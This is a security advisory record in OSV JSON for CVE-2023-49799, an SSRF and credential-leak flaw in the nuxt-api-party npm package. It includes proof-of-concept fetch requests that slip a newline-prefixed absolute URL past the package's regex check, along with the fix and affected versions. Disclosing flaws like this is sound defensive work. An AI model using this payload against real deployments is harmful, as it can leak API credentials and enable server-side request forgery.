CVE-2023-49799: Nuxt api party SSRF & Credentials Leak Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3wfp-253j-5jxv",
  "modified" : "2023-12-12T00:49:44Z",
  "published" : "2023-12-12T00:49:44Z",
  "aliases" : [ "CVE-2023-49799" ],
  "summary" : "SSRF & Credentials Leak ",
  "details" : "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {\n      // ...\n  }\n```\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nuxt-api-party"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
  }, {
    "type" : "WEB",
    "url" : "https://fetch.spec.whatwg.org"
  }, {
    "type" : "WEB",
    "url" : "https://fetch.spec.whatwg.org/#http-whitespace-byte"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/johannschopplich/nuxt-api-party"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
  }, {
    "type" : "WEB",
    "url" : "https://infra.spec.whatwg.org/#byte-sequence"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-12T00:49:44Z",
    "nvd_published_at" : "2023-12-09T00:15:07Z"
  }
}